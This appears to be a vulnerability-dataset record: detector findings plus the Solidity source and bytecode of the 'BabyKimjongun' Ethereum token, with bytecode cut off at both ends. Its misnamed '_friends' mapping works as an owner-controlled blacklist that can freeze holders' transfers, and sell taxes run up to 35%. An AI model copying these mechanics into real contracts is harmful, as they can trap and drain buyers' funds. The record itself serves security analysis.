bcd60e51b81526004016104fe906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b8035610a7c8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea26469706673582212207148d6bb67a2b59cfeca76c925478ad06106eac9e4b846fd49b3175bf623558064736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,909 |
0xa7e54193317eb31e9a5b121b415cb83364a49b38
|
/**
*
Baby KimJongUn is going to launch in the Uniswap at aug 4.
This is fair launch and going to launch without any presale.
tg: https://t.me/BabyKimjongun
All crypto babies will become a LionKing in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyKimjongun is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"BabyKimjongun";
string private constant _symbol = unicode" BBK ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600d81526020017f426162794b696d6a6f6e67756e00000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2042424b20000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081